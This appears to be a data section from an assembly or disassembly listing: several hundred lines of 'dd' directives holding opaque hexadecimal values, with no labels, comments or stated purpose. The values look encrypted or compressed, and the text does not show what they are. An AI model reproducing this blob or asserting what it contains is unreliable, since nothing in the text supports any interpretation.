dd 15E701B9h, 8C5E7830h, 0FFD1EBA3h, 0F449631Dh, 0BA7456CBh
dd 30EACEA0h, 0A9614416h, 1DD7BD8Fh, 15382303h, 21D7409Ch
dd 2BD670E2h, 0E39B8445h, 373CE7DEh, 7008A8D4h, 0F4F8B298h
dd 494F58C8h, 0F50C2BF5h, 757B351Bh, 8ECFF316h, 0F6492E5Ah
dd 0CDD192DCh, 0A1CDE443h, 19FD6073h, 5F635A5Fh, 55073FF0h
dd 55B4BA72h, 7A343432h, 0AA5FB226h, 71E02BC3h, 2B0818BAh
dd 14FBD514h, 0CC6AA5Ch, 0CEBC306h, 3A8D9A92h, 0AD674923h
dd 5EABB1A8h, 34161A06h, 95B8CF7Ah, 9A31EA30h, 0FD3C53A6h
dd 0F209D7DAh, 9A4C9F95h, 3FAFFB7h, 0DEC49EFDh, 52380A24h
dd 7DB5BF98h, 5D4679FCh, 18022Fh, 520CF400h, 0C77F6638h
dd 3EF6DBADh, 0B1695224h, 29E3C597h, 1C11BA0Fh, 9466803Ah
dd 0ADCF6B0h, 83556F27h, 0E9C9E39Dh, 40D6DBFEh, 2EA021D7h
dd 8B452B94h, 45E22E86h, 8FBB022Eh, 4763B4A5h, 10BFE241h
dd 662E595Fh, 3C22FC13h, 0D44D6882h, 5521D6DFh, 7A546BCAh
dd 61507397h, 1D21D6DFh, 0E5081FCAh, 21D6DECCh, 0F7595FB2h
dd 6B853F25h, 3B52D13Fh, 7636B718h, 0D5EC3F26h, 455C14FBh
dd 0DA4C706h, 6929BA07h, 6961B16h, 8DE029BAh, 6C532587h
dd 0DEC39DB4h, 0D5D32026h, 585C35EFh, 0EDE63481h, 1759D604h
dd 0B59D0000h, 280FE1FBh, 9F845670h, 12FBCDE7h, 8C6E405Ah
dd 7A63B8D2h, 0F29E3C5h, 859F593Dh, 0FE18D0B3h, 728C462Ch
dd 2D84A792h, 4921D740h
dd 4FD13DD7h, 454A02E9h, 0B7E08FF5h, 1EC961D6h, 96395C73h
dd 242E5901h, 0AD968378h, 9EB5FCE2h, 0D76C367Bh, 42ED4021h
dd 3012EC2Bh, 90767076h, 6C6A476Ah, 0C11421D7h, 99C5FC16h
dd 927C6E52h, 0BB0F1553h, 0E8C2D954h, 0E5444A04h, 0D6D7DBC2h
dd 43489B21h, 0D6D7B2FCh, 0D52A8B21h, 0D72F4B77h, 6E6453h
dd 0D1AE0000h, 0B5D8EF4Eh, 29BAA100h, 0DDD4F736h, 9929BAA0h
dd 9A9F593Fh, 0D3F2F8A3h, 153D6980h, 0B41D3D9Eh, 44B989Eh
dd 29B9E4A9h, 80DE3394h, 54345A42h, 376Dh, 0CCE2B700h
dd 7529BAA0h, 36758CABh, 0B8BD755Ch, 0CBFABDC1h, 0C5C4D254h
dd 85E27CBFh, 21742E5Ah, 264C300Ah, 0DA85AE03h, 0CA75C821h
dd 6D3D75C5h, 2ACD9905h, 1D17797Fh, 0F809ECC6h, 5C138635h
dd 1B20CB11h, 46CA1E24h, 14F8D2E9h, 9C1A85Ah, 0A8070D04h
dd 59D53185h, 9CC8072Eh, 0D2B8A986h, 0F7BAB5C2h, 7F21DA65h
dd 0AD07262Ch, 616611CBh, 2B577D63h, 0F1CF695Fh, 0C6EBE6A8h
dd 0B021D9F0h, 5C9BB25Dh, 0D9F07839h, 0A5ABFE21h, 0D18B7143h
dd 32ECCECCh, 0C19BBA2Dh, 0AA1F25DFh, 631D0355h, 0FDE61249h
dd 0AFD0A761h, 71575157h, 3E61A0B7h, 21DA9173h, 9109A8CBh
dd 227521DAh, 0A5F2F84Bh, 4D64C34Dh, 0CED38D73h, 4F72D1D7h
dd 267A954Bh, 4D07EB45h, 0D0B688A2h, 0D4AE1116h, 343237EFh
dd 978E934Bh, 0EDA3E6ECh, 70518BF1h, 0CFCDD28Ch, 0C32B30E8h
dd 0B3DA257Ah, 0F1D7217Eh, 654B1D37h, 0BFA8A6ABh, 2D16F007h
dd 24226F75h, 817F843Eh, 0B1DDE29Ah, 0A65093F0h, 0EE11508Fh
dd 0B183EDC3h, 446D68BBh, 3AB183EEh, 176CE1E7h, 0B25DFC5h
dd 19C2A8D4h, 0B8B851ECh, 18D2B8B2h, 0D655BB13h, 0CC1293BFh
dd 5C83B2Ch, 0B4DDEAE5h, 868C379Eh, 750A0427h, 0C06CB624h
dd 5F41EC71h, 80F0A1A5h, 0ECBED883h, 49474C06h, 0A8A6AB65h
dd 40207BFh, 0C27A6122h, 161BC6BDh, 8FD22FE4h, 27DE3368h
dd 8F97BFFBh, 8C92860Dh, 0D8F2AC92h, 61662006h, 11280709h
dd 959B5537h, 10831336h, 0EBC5AE84h, 2B4A5008h, 6ECBED8h
dd 8FD8BFF3h, 39E42173h, 0CFC0ED34h, 0F9DBC183h, 0B4D73A3Fh
dd 0C183CFFDh, 90742679h, 2069D1D6h, 0E59A80C3h, 9E583E88h
dd 17CFB284h, 0E083AF12h, 8B0DE06h, 61433D43h, 0F13AA2A7h
dd 0AF674A9Ch, 0BCE0C395h, 84A01899h, 0E69E83C1h, 0C013EAE1h
dd 0D3AD1015h, 363036EEh, 0A47E954Dh, 0B30006C0h, 64B60B40h
dd 0DDAFC981h, 0FF2B42FAh, 0E4711D45h, 0CC191F0Fh, 788FAC74h
dd 23D86155h, 0BFC417C6h, 0F5479CC9h, 34880112h, 10C9DB2h
dd 0BB6611Bh, 26391FF1h, 0E4908856h, 0BBC06BF7h, 181DD7BDh
dd 0C00A67B0h, 0CF0620DAh, 8BB653A3h, 343A2BCDh, 0E288F02Eh
dd 331B3Bh, 2B650000h, 338B9048h, 0AB6547EDh, 0A0C6E900h
dd 962E5ABBh, 837D3457h, 0A6F921DAh, 172E81A0h, 83FCB5D8h
dd 288221DAh, 90878C46h, 7B7DDFE5h, 12h, 90482B11h, 4EED338Bh
dd 0BDAA1437h, 0D92C2E5Ah, 0B2B3C5BFh, 0EE0522EEh, 0DA1783AFh
dd 0E9EDA789h, 0BAC04157h, 59F5EF77h, 6116692Eh, 28FF377Ah
dd 29060AD5h, 0EDBFEF12h, 9F793B06h, 0D9F8FEB6h, 0E7298186h
dd 0CFF23148h, 350711E2h, 0E443499Ch, 0A70904C1h, 182F8239h
dd 849E583Eh, 3912CCB2h, 0D9879CBBh, 90BDEBD4h, 66000013h
dd 0D8AAC47Eh, 4D1F39F1h, 0C496B068h, 370923DBh, 2C819B55h
dd 0F2AC8E83h, 682206D8h, 0E1997C4Eh, 550FF5C7h, 4D705B3Bh
dd 21D73C64h, 0E20EA81Ah, 29BA9FCFh, 7A91AE72h, 5AAE4357h
dd 0FFE33D2Eh, 0BADD4045h, 21DA91F7h, 0D6812C7Fh, 0F102E5BFh
dd 0B881A5B9h, 5610F4C0h, 98AF5A51h, 0D9F23C75h, 44EF4221h
dd 0A3C7F32Ah, 0C3AA8B49h, 4A2D272Dh, 0FE2A8D92h, 0F9A33A89h
dd 7E787E77h, 8D05DE98h, 0AAEE14AEh, 130593C1h, 9F10000h
dd 7C63354Fh, 0F3D8AAC4h, 664F213Bh, 0E0C294AEh, 0EB70C26h
dd 637D3719h, 0D9F3AD91h, 526C2407h, 0C6E09A80h, 0D9D8FBE6h
dd 0A521D73Bh, 4FD19933h, 0E4B6D9F0h, 5A2E5AAEh, 2F16F007h
dd 0A48B5D77h, 3E9E7ECh, 0F3ACB1DDh, 12278F9Eh, 0D9F69A17h
dd 0DF91E421h, 443B40F8h, 20438299h, 21D9F691h, 47949AEDh
dd 7DCF2451h, 7AC4DE96h, 0E744CAE4h, 5911F6D0h, 5A575D54h
dd 181DD5BCh, 92E389B5h, 0C2D6550Bh, 23579BCh, 0B61121DAh
dd 373DF5DCh, 341B6DC2h, 0DD0BA123h, 0B8632150h, 1A75A1h
dd 67393034h, 89C8FF61h, 0DA624B66h, 0DAE03321h, 3C41F9E0h
dd 2DB9ADD9h, 61022671h, 1A19075Bh, 10A1C403h, 6621DA52h
dd 8BAE0D13h, 2679AA64h, 98523892h, 0F7B19593h, 0FFB79A4Ch
dd 24FE3D54h, 887F843Eh, 0B78A248Dh, 1075A29h, 28E2C8A2h
dd 0B16DE511h, 0A9CC8115h, 696D382Ah, 4A4EB2C5h, 89B7DA85h
dd 0B6181EE2h, 941D407Fh, 0EA29B70Eh, 30F39397h, 0C78D400Bh
dd 0CEE1C7C1h, 0A5D21B58h, 7075209Fh, 3E240818h, 37E29A7Dh
dd 3A52758Ch, 302E5618h, 3ECC6DDh, 0F8A35B44h, 0A1A75F46h
dd 0C8826842h, 35F6DCAEh, 918F944Ch, 0F8EFF4ACh, 459DA24Dh
dd 6B455CDBh, 67C6CC84h, 76DDFC28h, 551B46F3h, 0DA147F32h
dd 0F9A4F721h, 0F7C2B0F3h, 0E93C2679h, 348FAE10h, 0A8D6BFE6h
dd 1183h, 0B7D18B73h, 2C46FEE5h, 0A3BD755Ah, 1630E8D1h
dd 8EA86244h, 0B99B9039h, 2F13E5FFh, 0A6895B75h, 1C02D4EEh
dd 7D684862h, 0D73A575Ah, 13AD1F21h, 4D6487C6h, 2929BAA1h
dd 2D8DD0D6h, 8829BAA1h, 0A7D3EDA5h, 80A3BA79h, 2E59F8F4h
dd 89284B0Ah, 0F521D748h, 489E1336h, 85D821D7h, 873F28DAh
dd 6EBC5DCh, 0C63A344Eh, 494F07ECh, 0B4DE0743h, 977B5554h
dd 6153D7DDh, 9D000001h, 10EA49D1h, 0A10BA3C6h, 0A57829BAh
dd 0BAA12F82h, 0C29B4729h, 5EB4EC6Dh, 768D38E3h, 7D9D1437h
dd 86D929BAh, 0E447FA82h, 0C9CFABC8h, 0B0C4C6A7h, 4BD1DA48h
dd 163912ECh, 0D65AE4EAh, 0BAC00ADDh, 0EE4DD198h, 6ECC614h
dd 8F46BFF3h, 0BD6843E7h, 1FF4BAB7h, 5734DEF3h, 371Ch
dd 6D4F2900h, 0D18BADB3h, 0C612EC4Bh, 0BAA10BA3h, 401A6D29h
dd 0ECC6C4C6h, 4B454B03h, 0E8D4AE66h, 0EFA98B65h, 0CBEDF3EAh
dd 48FBh, 0F2155400h, 29BAA0BFh, 3C5E64B7h, 12EC4BD1h
dd 254887C6h, 29BAA08Ch, 56999FF2h, 29BAA158h, 651D04DEh
dd 0AE44B5Fh, 0ECC6C4C6h, 504A500Ah, 0CC6AC6Bh, 8B651007h
dd 4D6487C6h, 2929BAA1h, 853D24D6h, 46838980h, 0DEF31F00h
dd 501C5734h, 66000000h, 4D6487C6h, 2929BAA1h, 967CD0D6h
dd 87C6BF99h, 0E32ABB5Bh, 1F42C329h, 29BA0492h, 0E8EE99ECh
dd 0BA0509A5h, 33156F29h, 0D27D7479h, 58597CBBh, 4329BA05h
dd 79CCA35Dh, 0C4C65173h, 0B28C442Bh, 0A78B65E8h, 0EBF1E8EDh
dd 26FBC9h, 0D1910000h, 0C614EE4Dh, 0BAA10BA3h, 0ADB87829h
dd 901F9BE7h, 0C603DD88h, 8C442BC4h, 179AC6B2h, 0B6B14937h
dd 89CF0C12h, 4E08ECC6h, 0FE911E48h, 9D77FFFFh, 0D9FB01BBh
dd 4D6487C6h, 2929BAA1h, 947CD0D6h, 0EAEFA790h, 4A1E209Ah
dd 0EF9AAB2Fh, 0C50A2D44h, 352E5927h, 913CF4DBh, 0F9BAA07Ah
dd 94AE5913h, 657CB968h, 0D7186F42h, 0C6AD0721h, 724C630Eh
dd 83D0D690h, 0D717773Ch, 865C621h, 0D76F74B2h, 3B9F53h
dd 0E2E90000h, 29BAA0CBh, 1930EAD0h, 9DA25A3Fh, 0FF04BC9Fh
dd 0C9AB5D08h, 0D130A0Fh, 0A11E90ABh, 0EC1829BAh, 0E8FE1730h
dd 0C1151BC5h
dd 0A6C9E05Fh, 2E5A85ACh, 0A3A5BF12h, 0DEh, 0E94FD139h
dd 4C434800h, 33678AA1h, 0CD2E5A88h, 525711F3h, 0DC36555Bh
dd 79903BF3h, 0BE7D603Ah, 5E7520DAh, 0DA77763Bh, 0A7AD0021h
dd 0FB12CAADh, 7E843C21h, 0AF674A1Ch, 18CE52AAh, 1FA39E65h
dd 0E6FDA83Ch, 790434C3h, 0E8FF5226h, 0EB8F75BCh, 0C4CAA4BDh
dd 0F0A88B65h, 3A779AD9h, 4429B774h, 5289EBF1h, 4E1C1426h
dd 15F9CC9Dh, 0B45F565Bh, 19D1B4AEh, 0F4D7B114h, 90954F35h
dd 0EBE9EE99h, 9DA34E06h, 5168C749h, 56C6642Eh, 7087DA2Eh
dd 0DCF6B096h, 0DBFE240Ah, 21DA22D6h, 5128E0C5h, 1E7A53FEh
dd 33EE1465h, 0E6D1C4Ah, 0A1890000h, 14FBCDE7h, 8B70425Ch
dd 0FEE7B9D3h, 785A2C46h, 664FA4BEh, 0FB15CFB1h, 718B4529h
dd 0EA04BC9Fh, 5E783218h, 4170937Eh, 3D21D737h, 452B31CBh
dd 8B48748Bh, 79331735h, 52145D75h, 0B9C4822Fh, 0FEA9FC29h
dd 0C7ADABF8h, 57A0080Dh, 10CAB0FAh, 3AEA18F6h, 47055434h
dd 4F000000h, 4D6487C6h, 2929BAA1h, 947CD0D6h, 515D8097h
dd 0E72E5A8Eh, 6A6F290Dh, 78395C73h, 0FE21DA71h, 3386A5ABh
dd 904A302Eh, 4BEA476h, 0B379A7FFh, 1A1116CEh, 9B7E586Fh
dd 0E1E7DEE3h, 593B5F82h, 0C215267Ah, 442BAEA8h, 0B9A0728Ch
dd 3B5FC01h, 3929BAA1h, 84C8380Dh, 83DFE39Bh, 140E1440h
dd 0D28C7231h, 0DFD2D6CDh, 19C771EFh, 4F7B9540h, 1F4B62C1h
dd 4D70866Bh, 29B9D664h, 0F6C3C71Ah, 4CABB129h, 59163829h
dd 546BBE2Eh, 0C6DD957Ah, 4698149Ah, 593F4B43h, 8CEEF49Fh
dd 6487C692h, 29BAA14Dh, 2EE6CF29h, 4B777D83h, 6454B4DEh
dd 141h, 0EA49D1AEh, 0AD87C610h, 0C80B11CBh, 29BAA0E6h
dd 0CF907650h, 362D32EAh, 0A71858Bh, 2C9AC630h, 54B43ED6h
dd 9092F1F7h, 0D1DA48B0h, 3912EC4Bh, 0EE4DD153h, 8ECC614h
dd 0AB6547h, 1FE04FBh, 8ECC63Bh, 9D14374Eh, 0D929BAA0h
dd 5C7A8086h, 775734DEh, 33h, 0AECC6C1h, 376A0FF7h, 7A256162h
dd 24787E75h, 0C6613BF8h, 0FD4BD39Ah, 0DEE4A753h, 63525C7Fh
dd 0D12429BAh, 2BC4C6F7h, 0E8B48E46h, 43FBA2h, 0D1910000h
dd 45FFE54Bh, 879E4940h, 0D12CAADh, 0D5DCFF16h, 0A129BAA0h
dd 0C626484Eh, 0BAA10BA3h, 37117829h, 4D6487C6h, 2929BAA1h
dd 864024D6h, 2B1F2180h, 0C6B48E46h, 44F809ECh, 0D5E18298h
dd 46838934h, 6487C600h, 29BAA14Dh, 0CAD0D629h, 5734DE8Ch
dd 278AADECh, 4F26BAA1h, 2D72F6FCh, 0BC000000h, 14EE4DD1h
dd 0C8AD87C6h, 0E7C70A10h, 9129BAA0h, 969B5537h, 0C61AF49Fh
dd 8C442BC4h, 0FBA2E8B2h, 2Bh, 0DB937A54h, 0B7D9DFD6h
dd 14EE4DD1h, 0C8AD87C6h, 0E140B10h, 0BAA0E3CBh, 2239A029h
dd 0A5AA6448h, 0C686A8AEh, 8C442BC4h, 0FBA2E8B2h, 0FFFFFEA9h
dd 0F04FD191h, 0F919B6D9h, 0F5A12E59h, 0E3A186A9h, 0B2C974E1h
dd 2138F2D8h, 66F2BFE2h, 0C8B121D7h, 3D140B10h, 4B82E4EAh
dd 0CBD08871h, 179ABDD4h, 5F21D767h, 6FB2060Ch, 0F7DDB7CEh
dd 0B5D8373Dh, 21D766FCh, 11A0C382h, 4021D767h, 48A3DDB5h
dd 0A5F8CFEBh, 5AEF5FAh, 4421D776h, 98D78EE3h, 0D7763C75h
dd 3DEF4221h, 92989E56h, 53D7CD54h, 107Fh, 0CBE2C900h
dd 0D029BAA0h, 141630EAh, 0C4h, 0F04FD1AAh, 3A779AD9h
dd 4429BAA1h, 698CEBF1h, 2E5AB529h, 17D1B50Fh, 59701B12h
dd 8CBAF71Ah, 71C421DAh, 4F320C6Bh, 0C8AB7D97h, 6DB30B10h
dd 268BB7CEh, 94825845h, 7DA0FF05h, 26791D7Eh, 502A4194h
dd 4BAAB06Ah, 0BCD68E71h, 4A4F07EAh, 2C85A8E7h, 5229B71Dh
dd 1D417093h, 0EA3D29B7h, 3BE5393Fh, 0AF5A12F5h, 9C7F5998h
dd 0E2E8DFE4h, 566EF39Fh, 0E3FA4D2Eh, 64AD78A4h, 21A759Bh
dd 621C02FCh, 0D6907648h, 13F8A7FDh, 0A9D7C0EEh, 0B03h
dd 37510BF3h, 0ACC67E65h, 233DF5DAh, 96B06851h, 0E28E2C4h
dd 391B10B9h, 0AF93657Fh, 2609DBF5h, 9C82546Eh, 0FDE8C8E2h
dd 0D733D7DAh, 932D9F21h, 4D6487C6h, 2929BAA1h, 31E6197Dh
dd 0B25D1E3Ah, 12CCB2ACh, 7E3F21FBh, 3238E39Bh, 4701E7E5h
dd 3C91DA42h, 334A04EAh, 0B6BB7559h, 171CD6B8h, 0D6F7520h
dd 3D7497D6h, 3929BA53h, 5ACCFE6h, 7129BA53h, 0D412181Eh
dd 0FF5434A8h, 38h, 8ECC649h, 2CF4484Eh, 5DD5F80Fh, 232E5A91h
dd 0E7CDCBD0h, 5B41132Dh, 0DC449CA1h, 6D25485Fh, 93267A84h
dd 99FD8267h, 0BA5E3B76h, 0ECF04329h, 0C4CADEBFh, 3E3852A5h
dd 3F6F9AC6h, 0E3545081h, 8508A9CCh, 1B6E29BAh, 7C341B15h
dd 85734762h, 4F3229BAh, 0CF517D97h, 36365970h, 6C2E59DCh
dd 5CA70A2Dh, 75CF21D7h, 2329D48Ch, 0C09AB104h, 7E381CDBh
dd 1FBFB9D3h, 54B4DEE3h, 50745731h, 3AA0842Dh, 0FCA7FA29h
dd 5C14F9F7h, 8B27ABB1h, 71000001h, 0D3EA49D1h, 44210AA7h
dd 44F6D4A3h, 7C9EA45Eh, 254887C6h, 29BAA08Ch, 56999FF2h
dd 29BAA158h, 0D1ABC229h, 342B30E8h, 0DCE19982h, 0C6BDDFE5h
dd 0DA48B0C4h, 12EC4BD1h, 533C1639h, 0C673959Bh, 464C06ECh
dd 22082CF2h, 28E3BD68h, 0DEF31F62h, 5E1C5734h, 66000000h
dd 0D0529AC6h, 4CC5DD7Ch, 62AF246h, 6C636822h, 0A3C6E7C1h
dd 29BAA10Bh, 0B26A532Dh, 91B0B6ADh, 446B0AE5h, 11BCD3EDh
dd 2BC4C637h, 38778E46h, 0BABF775Eh, 0A0E9C8C3h, 429529BAh
dd 0EDF3AB90h, 0C6A2E8CBh, 0A14D6487h, 0D62929BAh, 40A6D0h
dd 0C0FF0000h, 0BAA1149Dh, 11176A29h, 0EC4BD1EFh, 7478A9D5h
dd 5C0559C2h, 87C63456h, 90FC9ADh, 0BAA0E8C6h, 58329929h
dd 462BC4C6h, 87C6B48Eh, 0A08C2548h, 9FF229BAh, 0BAA10DA4h
dd 10166929h, 0F31F8DD3h, 1C5734DEh, 45h, 0EE4DD166h, 0BA3C614h
dd 6D29BAA1h, 0C4C6401Ah, 758C442Bh, 0FAFFB99Bh, 0E8DBFD03h
dd 0EBA58B65h, 958096E6h, 1D747AAAh, 79385B72h, 529B9A5h
dd 0C68AACB2h, 305C1E9Ah, 0F6DD01BDh, 638D933Eh, 42h, 824DD1F9h
dd 0BAA1525Fh, 2ED92C29h, 0BA3C654h, 7829BAA1h, 556C260Ah
dd 0BAA07F32h, 0F9A4F729h, 6487C61Fh, 29BAA14Dh, 71D0D629h
dd 0B8725832h, 842D50B3h, 0FA29BAA0h, 0D4F6FCA7h, 0B28C442Bh
dd 64FBA2E8h, 54FFFFFEh, 0A0BFF215h, 64B729BAh, 4FD13C5Eh
dd 19B6D9F0h, 0A12E59F9h, 775D374Eh, 0BBC1B8BDh, 0BBDE1D5Ch
dd 21D748F6h, 7CB0C253h, 24FB558Ch, 0EBD1CBD1h, 24EB1731h
dd 0E2CFF209h, 9C21D714h, 9CA15942h, 0AEF5FAA5h, 21D71505h
dd 308EE344h, 53D76AF2h, 281Dh, 0ECC66700h, 0B99E500Ah
dd 0FF05FC01h, 0BAA0F1BCh, 0AC4AA29h, 7C3419F3h, 187A8077h
dd 692307E1h, 3D676D64h, 8Ah, 0F04FD1D3h, 0A140B6D9h, 63B62E5Ah
dd 0D78F724Ch, 5008EBBDh, 0E2DF34Bh, 0F90BD4F7h, 9F4B2679h
dd 0D00435EAh, 0D9D8FB28h, 0A529B71Fh, 0E5FCA752h, 8469280Bh
dd 350721CCh, 3D959A52h, 1A3D54D3h, 2E567178h, 0BA94ABFEh
dd 2E001AD4h, 65B58E48h, 82EE14B9h, 7996B99h, 755D0000h
dd 0E8CFA1BBh, 5F441630h, 0D2BB8DA7h, 4C2E001Ah, 0BA237892h
dd 0CFE9A385h, 455F19FDh, 0BED89073h, 324C06ECh, 6D446752h
dd 921D730h, 452BFD97h, 3AE59D84h, 13F8D235h, 755B555Bh
dd 54EB6BBh, 0BE785EA8h, 0D8EBCDA7h, 229FE791h, 40AB5EEh
dd 0D886C4A2h, 47B15434h, 0FB000000h, 58844FD1h, 0FBA78FE9h
dd 20918CCDh, 5629BA93h
dd 1E415803h, 2E5A9538h, 0EF363B8Eh, 21DA95BEh, 83E7F8DDh
dd 736CAB75h, 6D6B701Bh, 58CBD088h, 7383CE23h, 235FBD12h
dd 7153D454h, 0F4FAB297h, 3F70h, 4FD1BA00h, 88B6D9F0h
dd 0E2E5AB9h, 9678A4BBh, 0C46DB061h, 0E3E12E34h, 572943FDh
dd 12CCB071h, 0DCFF160Dh, 21DA74D5h, 9EA34EA1h, 465DDA46h
dd 7A74D323h, 0CBE23526h, 50550FF1h, 0F7F15359h, 26EAB6B3h
dd 74B3F209h, 0BAA16051h, 0BDC31629h, 5AA5EC7Ah, 58FE2A2Eh
dd 0B7472F1h, 4FB10023h, 7ACD21DAh, 0FEAAC9CFh, 0C9B9B28Fh
dd 6A1FCA86h, 0EC759183h, 0D16EB2E1h, 521797BAh, 472166C4h
dd 0B0A7AC64h, 33388BAAh, 0DFF635DBh, 0E48509BCh, 233A8D6Dh
dd 92A96349h, 76813053h, 0AAFD6224h, 535812F8h, 22F4565Ch
dd 0EFA9823Ch, 80ADCA10h, 6416997h, 0CDB50000h, 4027F913h
dd 0B79C6E88h, 2A13E5FFh, 0A4865872h, 527BD0EAh, 2741FBDDh
dd 9DB77155h, 1630E8CBh, 8AA45E44h, 159CBFAAh, 6121D72Fh
dd 452B55EFh, 0A388868Bh, 7BA5D1EBh, 0E5CBA5BCh, 2B2F262Bh
dd 55CA2774h, 0DB3A4018h, 773A5D9Ch, 0FF29B9D0h, 1E1F6053h
dd 913CFAC9h, 7A97488Bh, 609F2E59h, 0D77A743Dh, 0B1B70A21h
dd 0D73A3F92h, 5C621AFDh, 0ECC57D62h, 0EE170E38h, 0C0B6E4CDh
dd 36000005h, 0A87A944Eh, 1DEF09C1h, 94668038h, 7D9F3ABh
dd 0FC516B25h, 0C27C5ED3h, 38F2D6A8h, 0B1694C1Eh, 25DFC597h
dd 1D402B0Bh, 21D72D94h, 0C6DE78EAh, 17BE009Ah, 0BA6DBDF4h
dd 6266B929h, 0D4F73E50h, 29BA29DDh, 959B4699h, 0F307DF41h
dd 8CB7DB99h, 607E5FE7h, 0D0C6BE5Ch, 354C1032h, 4EF9A425h
dd 0E3E71437h, 0CC1F2E59h, 2CE4C9C7h, 1734A553h, 27553EEEh
dd 547h, 0F30DC7AFh, 68823A21h, 0DFF9B196h, 526C240Dh
dd 0CAE49E80h, 0F5D74C75h, 6B4F213Bh, 0E2C597B1h, 583E102Ah
dd 0B9A4849Eh, 0D72E1B96h, 57F16321h, 0D9F04FD1h, 59F941B6h
dd 0BD9F792Eh, 3106FF03h, 5C113530h, 0DFE43756h, 6B44FCE1h
dd 0EE17CEC3h, 0F0497760h, 6000004h, 784A641Eh, 0EDBFD991h
dd 64365008h, 0D7A9C37Bh, 0CC213BF5h, 924C2EE3h, 8C2A678h
dd 81391CEEh, 0F5AF9567h, 0ED10FBDBh, 21D72DC4h, 2BAE48BAh
dd 88868B45h, 70E3E8A2h, 0AE94E63Bh, 0DFB1DDF4h, 0AAC26FBCh
dd 0B6ED4F55h, 6EAD7C8Ah, 0BCC2635Fh, 1D22DCC2h, 0BA91D8D6h
dd 0A6FB6C29h, 9AB46E54h, 2328E2C8h, 6E853F25h, 91A50C2Fh
dd 10F629BAh, 835A5156h, 9CC82A30h, 61A0B774h, 5CA5D235h
dd 0D9BC2634h, 7A251C21h, 85454B76h, 898FB00Ch, 5A9FB846h
dd 1C3F7E2Eh, 21DA9295h, 69888EE1h, 0E3CA1116h, 5A21DA92h
dd 9051350Fh, 444AF5ADh, 0E9C372CFh, 41474D07h, 53D4E805h
dd 2D2Eh, 4FD17800h, 3CB6D9F0h, 0C22E5AA0h, 0C7CC8668h
dd 7E29E3C9h, 2687CED3h, 1721DAA0h, 0C70359B6h, 1553D4EBh
dd 999F593Bh, 0C915h, 87C65F00h, 0BAA14D64h, 0D0D62929h
dd 3136F0D6h, 92975133h, 0DDF4AE94h, 5D621A03h, 0A0DAD7FAh
dd 51A429BAh, 5553A0A6h, 809BB56Fh, 29BAA4F0h, 718B452Bh
dd 0FAFFB99Fh, 0AAC17EA2h, 9D69486Bh, 691529BAh, 1E773847h
dd 0D0D6813Dh, 4FD84E71h, 3B8E2E5Ah, 0C2BF521h, 346BC9F5h
dd 0DB0A4C13h, 0B88E8ED7h, 0F156A72h, 0AE9771B0h, 0A9540CEFh
dd 149660A3h, 9DF02678h, 9CAAC86h, 6F666B25h, 0F6D8AAC4h
dd 9CD1633Ch, 7962E636h, 3724Bh, 0E29C8400h, 570FF6C8h
dd 0CE866B3Dh, 41F9E2B4h, 0B9735527h, 0AC614A9Fh, 24F610CAh
dd 9A6C8640h, 13E5FFB7h, 7959732Dh, 2C466B8Eh, 0BE3021D7h
dd 8F492B24h, 3BDA375h, 0ECC6EFE9h, 0F5494F07h, 0B6F50C2Bh
dd 0FDB79D77h, 0AB0601F8h, 0D329BAA0h, 0BB377A80h, 452E5A9Fh
dd 7A6EDF2h, 9421DAA0h, 5109EEADh, 0C1A3A1A6h, 1F040207h
dd 8B6B6267h, 1A2A75CAh, 0D80664B9h, 0F353D4EBh, 0B4h
dd 8B452B3Dh, 0ECA68886h, 0A4D0A0E7h, 654B29BAh, 0D9BF91ABh
dd 78B71A1Fh, 9C9B1639h, 90E329BAh, 0BA9D1C95h, 90F6229h
dd 0B5CC6BB5h, 9D143776h, 0D929BA9Ch, 654C6F86h, 1129BA9Dh
dd 0B175B8BEh, 0A72E5A7Eh, 7E633D54h, 7520D8BFh, 11737970h
dd 0E5FC3BE5h, 77F095C2h, 8BA2F526h, 0D78F724Ch, 0DBD5DBD2h
dd 53253FF9h, 52DEB771h, 0E7E63685h, 27DD0FEh, 91790000h
dd 4EBBDD7h, 7B60324Ch, 0EED7A9C3h, 684A1C36h, 963F94AEh
dd 0EB05BFA1h, 617B3519h, 0DAF4AC8Fh, 4E682208h, 5160836Eh
dd 2D21D72Bh, 492B21BBh, 0BDA3758Fh, 2B12EC03h, 110B6D73h
dd 0FC1F452Bh, 29BAA0B5h, 0ACC36EC1h, 3035EDD2h, 83E63339h
dd 0EB451844h, 93851483h, 0B9C61998h, 0EEA88A29h, 0C81BF2E9h
dd 28E2C8C2h, 42ECE511h, 7C7BE996h, 38E81476h, 95C1E4FBh
dd 0F32E59B1h, 18362E47h, 15F97669h, 5B05Bh, 0D9D9F4B9h
dd 8BE84921h, 0D4210935h, 202253h, 0D16C0000h, 0B6D9F04Fh
dd 2E5ABA9Ch, 83CACF22h, 21DA872Ah, 0FF5DB213h, 53D4F0C3h
dd 18ECh, 0CCE23600h, 7529BAA0h, 52758CABh, 2E5A8790h
dd 0D1896CC6h, 102AD5CCh, 0F04FD116h, 5E16FFD9h, 0FD5C6259h
dd 5AB724DAh, 5073322Eh, 21DA8B61h, 1A1FCA1Dh, 0DA8ADAD3h
dd 20D8C121h, 80381D1Bh, 0DE967D7Bh, 4102E2D9h, 3091A1ECh
dd 0F0417DD3h, 2F6A53D4h, 77000000h, 0F8FEB69Dh, 0A0CBE2D6h
dd 0AA7629BAh, 0B9657734h, 0D0B53EFBh, 0D9BB6D18h, 78231A1Fh
dd 80A43E61h, 0C09A2E5Ah, 7E381CDBh, 5BAECDD3h, 4FD14741h
dd 39B6D9F0h, 0C12E59F9h, 977D576Eh, 8B36F0D6h, 7A603A71h
dd 0DAC0BAC0h, 5DC31B20h, 0E8A4C7DEh, 1E2676A0h, 0A0F5BCDFh
dd 2E8129BAh, 0CCAF0928h, 78526914h, 0E7C1D892h, 50474C04h
dd 3016E84Ah, 0F7197176h, 0A108A9CCh, 146E29BAh, 19CB7630h
dd 82797E36h, 5581C0D7h, 0A294DBFAh, 0BA6C9F4h, 7329BA14h
dd 2C6F7520h, 2E59F646h, 0FE845DB0h, 97EE148Eh, 0C180AEh
dd 4D350000h, 0C0A77993h, 371CEE08h, 0AA93657Fh, 2406D8F2h
dd 0D2FB506Ah, 0A7C17B5Dh, 1D37F1D5h, 96B0684Bh, 0A24DEC4h
dd 951C3F2Ah, 0E121D728h, 4FD1D56Fh, 1AFFD9F0h, 0A0DED3F6h
dd 459829BAh, 1235949Ah, 2E59F876h, 5E8AA1F4h, 0EC01E757h
dd 0E4313781h, 2F4600E6h, 0AFB56F55h, 0DB957B4Dh, 4C4773D6h
